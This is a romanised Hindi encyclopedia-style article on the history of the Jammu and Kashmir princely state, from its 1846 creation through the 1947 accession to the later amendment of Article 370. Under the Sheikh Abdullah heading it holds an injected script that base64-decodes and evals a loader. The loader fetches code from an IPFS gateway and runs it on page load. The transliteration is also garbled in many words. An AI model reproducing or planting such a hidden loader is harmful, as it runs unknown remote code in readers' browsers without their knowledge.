जम्मू और कश्मीर रियासत

jammoo aur kashmir bharatiy riyasat thi. yah 1846 se 1947 tak bharat mean british raj ke dauran bhi ek riyasat rahi. is riyasat ki sthapana pratham aangl-sikkh yuddh ke bad huee, jab eest iandiya kanpani ne apane dvara sikhoan se jite gaye kashmir ghati, jammoo, laddakh aur gilagit-baltistan ko 75 lakh rupaye mean jammoo ke maharaja gulab sianh ko bech diya.

ajad hota bharat

jab bharat ajad ho raha tha, tab british raj ne sabhi maujooda riyasatoan aur rajatantroan ke samane peshakash ki ki vah bhaugolik sthitiyoan ke lihaj se bharat aur pakistan mean se kisi ek mean apana vilay kar lean. tab jammoo aur kashmir ke maharaja harisianh ne svadhinata ki ghoshana kar di, yani unaka kahana tha ki 'na to ham bharat mean ju deange aur n hi pakistan mean, balki apani svatantr pahachan banakar raheange.' halaanki usake bad aisi sthitiyaan paida hueean ki unhean kashmir ka bharat mean vilay karana p da. maharaja harisianh 1925 mean kashmir ki gaddi par baithe the. vah apana adhikaansh samay banbee ke resakors aur apani riyasat ke b de jangaloan mean shikar karate hue bitaya karate the. kashmir mean tab unake sabase b de virodhi shekh mohammad abdulla the. abdulla ka janm sh aaul bechane vale ek vyapari ke ghar mean hua tha. unhoanne aligadh muslim vishvavidyalay se em.esasi. ki thi. padhane mean kushagr hone ke sath-sath vah shanadar vakta bhi the. unhean apani batean tarkoan, tathyoan ke sath rakhani ati thi.

shekh mohammad abdulla

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shekh abdulla ne pahale praivet skool mean adhyapak ki naukari ki, phir siyasat mean kood p de. unaka kahana tha ki is soobe mean musalamanoan ke sath bhedabhav vala salook kyoan ho raha hai, bahusankhyak hote hue vah naukari aur doosari batoan mean pichhe haian. 1932 mean unhoanne maharaja ke khilaph badh rahe asantosh ko avaj dene ke lie aaul jammoo-kashmir muslim kaanphreans ka gathan kiya. chhah sal ke bad unhoanne isaka nam badalakar neshanal k aaunphreans rakh liya, jisamean hiandoo aur sikkh samuday ke log bhi shamil hone lage. isi samay shekh abdulla ne javaharalal neharoo se bhi najadiki badhaee. donoan hiandoo-muslim ekata aur samajavad par ekamat the. neshanal k aaunphreans aur kaangres mean najadikiyaan hone lagian. 1940 ke dashak mean shekh abdulla kashmir ke sabase lokapriy neta ban chuke the. kee bar vah jel mean aur jel ke bahar rahe. ajadi se pahale abdulla ne kashmir mean rajatantr ki jagah prajatantr lane ke lie aandolan shuroo kiya.

harisianh ka svatantr hone ka vichar

maharaja harisianh ke man mean svatantr hone ka vichar j dean jama chuka tha. vah kaangres ko nahian manate the, isalie bharat mean shamil hone ke bare mean soch bhi nahian sakate the. lekin agar vah pakistan mean shamil ho jate to unake hiandoo rajavansh ka sooraj ast ho jata. sitambar 1947 ke asapas khabarean milane lagian ki pakistan b di sankhya mean kashmir mean ghusapaithiyoan ko bhejana chahata hai. is bich 25 sitambar 1947 ko maharaja ne shekh mohammad abdulla ko jel se riha kar diya. dominik lepiyar ki kitab "phridam et midanait" kahati hai, "jahaan tak maharaja harisianh ka saval hai to vah ab bhi ajad kashmir ke khvab mean ji rahe the.12 aktoobar 1947 ko jammoo-kashmir ke up pradhanamantri ne dilli mean kaha ki- "ham bharat aur pakistan donoan ke sath dostana sanbandh kayam rakhana chahate haian. maharaja ki mahatvakaanksha kashmir ko poorab ka svitjaralaiand banane ki hai. ek aisa muulk jo bilkul nirapeksh hoga." unhoanne age kaha ki- "keval ek hi chij hamari ray badal sakati hai aur vo ye hai ki agar donoan deshoan mean koee bhi hamare khilaph shakti ka istemal karata hai to ham apani ray par punarvichar kareange."

kabayaliyoan ka hamala

in shabdoan ke bole jane ke keval do haphte bad hi hajaroan hathiyaraband kabayaliyoan ne rajy par uttar disha se hamala kar diya. 22 aktoobar ko vah uttar pashchimi sima praant aur kashmir ke bich ki sarahad ko par kar ge aur tezise rajadhani shrinagar ki or badhe. in hamalavaroan mean jyadatar pathan the, jo us ilake se ae the jo ab pakistan ka hissa ban gaya hai. in kabayali vidrohiyoan ne baramoola mean b da utpat machaya. lootapat ki aur mahilaoan aur l dakiyoan se dushkarm kiya.

harisianh ki bharat se guhar

vi. pi. menan ne apani kitab "p aaulitikal iantigreshan aph iandiya" mean likha, "24 aktoobar ko maharaja ne bharat sarakar ko sainik sahayata ka sandesh bheja. agale din dilli mean bharat ki suraksha samiti ki baithak huee. vi. pi. menan ko jahaj se turant shrinagar ravana kiya gaya. unhoanne shrinagar mean maharaja se mulakat karane ke bad unhean hamalavaroan se surakshit jammoo jane ki salah di. neharoo pakistan ke kabayaliyoan se mukabale ke lie bharatiy sena ko phauran kashmir bhejana chahate the. l aaurd mauant betan ne unhean aisa karane se mana kar diya." unhoanne maharaja se pahale vilay ke kagajoan par dastakhat kara lene ko kaha. unaka saph kahana tha ki bina kanooni vilay ke vah british aphasaroan ko bharatiy sena ke sath nahian jane deange. 26 aktoobar ko vi. pi. menan ko jammoo mean maharaja ke pas phir se bheja gaya. vahaan menan se unase vilay patr par dastakhat karaya aur dilli a ge.

jaise hi ye kanooni karravaee poori huee. nee dilli ne mauant betan ki hichakichahat ki paravah kie bagair bharatiy sainikoan se bhare viman shrinagar bhejane shuroo kar die, tab tak hamalavar shrinagar se kuchh hi doori par rah ge the. jab bharatiy javanoan ka pahala jattha shrinagar havaee adde par pahuancha to hamalavar havaee adde ki sarahad tak a pahuanche the. agar kabayaliyoan ne baramoola mean lootapat aur auratoan ke sath dushkarm mean samay barbad nahian kiya hota to vo havaee adde par qabza kar chuke hote aur bharatiy vimanoan ko vahaan utarana mushkil ho jata. isake bad bharat ne uri tak ke kshetr se kabayaliyoan ko khade date hue ise apane kabjee mean le liya. kashmir ko lekar donoan deshoan mean tanatani charam par thi. ye tab tak jari rahi, jab pakistan ke pradhanamantri liyakat ali sanyukt suraksha samiti ki baithak mean bhag lene ke lie dilli ae the. vah aur neharoo is bat par sahamat ho ge the ki pakistan kabayaliyoan ko l daee band karake jaldi se jaldi vapas lautane ke lie kahega. bharat bhi apani jyadatar senaean hata lega. sanyukt rashtr ko janamat sangrah ke lie ek kamishan bhejane ke lie kaha jaega.

sabase b di bhool

l aaurd mauant betan ki salah se hi bharat is mamale ko sanyukt rashtr mean le gaya tha. ye ek b di bhool sabit huee. bahut se bharatiy neta is mamale ko sanyukt rashtr mean le jane ke paksh mean nahian the, kyoanki unhean ashanka thi ki briten pakistan ka sath dega. yahi hua bhi. amerika aur briten ne milakar kashmir mean shekh mohammad abdulla sarakar ko hatae jane aur janamat sangrah hone tak kashmir ko sanyukt rashtr ke niyantran mean lae jane ki maang ki.

rajy ke sanvaidhanik pramukh

bharat mean vilay ke bad jammoo aur kashmir ke maharaja harisianh ne tatkalin pradhanamantri javaharalal neharoo se jammoo-kashmir ke rajanitik sanbandh ko lekar batachit ki. isi ke tahat rajy ke sanvaidhanik pramukh ke roop mean barakarar rahe, lekin shekh mohammad abdulla ko apatakalin prashasak ke pad par niyukt kar rajy mean sarakar chalane ki jimmedari unhean de di gee. isake bad unhean 5 march 1948 ko rajy ka aantarim pradhanamantri niyukt kiya gaya. isake natije mean bad mean sanvidhan ke aandar anuchchhed 370 ko jo da gaya. artikal 370 jammoo-kashmir ko vishesh adhikar deta hai. isake turant bad rashtrapati rajendr prasad ne rajy mean 35 e lagane ki anumati de di. 1954 mean jammoo-kashmir ka alag sanvidhan bana. usake bad dhire-dhire kashmir se rajavansh gayab hota chala gaya.

pahala chunav

1957 mean jammoo-kashmir mean pahali bar vidhanasabha chunav hue. isamean jammoo-kashmir neshanal kaanphreans vijayi rahi aur parti ke neta bakhshi gulam mohammad mukhyamantri bane. 2014 mean hue chunav mean pidipi aur bhajapa ne rajy mean gathabandhan sarakar banaee thi, lekin varsh 2018 mean bijepi ne mahabooba mufti ki sarakar se samarthan vapas le liya. tab se vahaan rajyapal shasan lagoo hai.

dhara 370 mean badalav

bharat mean vilay ke bad se kashmir ko dhara 370 aur 35 e ke jariye jo khas darja mila hua tha, use keandr ki enadie sarakar ne anuchchhed 370 mean sanshodhan karake kaphi kam kar diya hai. halaanki anuchchhed 370 ko poori tarah hataya nahian gaya hai, balki isake pahale do upabandhoan mean jis tarah badalav hua hai, usase is rajy par keandr ki pak d na keval aur majaboot hogi, balki ane vale samay mean yahaan kee tarah ke sanvidhan sanshodhan karake niyamoan mean badalav ka marg bhi prashast ho gaya hai. sarakar ne alabatta 35 e ko jaroor poori tarah se hata diya hai. isake sath hi is poore rajy ko do hissoan mean baantane ka phaisala liya gaya hai. ek jammoo aur kashmir aur doosara laddakh, isamean jammoo-kashmir mean nirvachit vidhanasabha rahegi to laddakh poori tarah se keandr shasit pradesh rahega.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh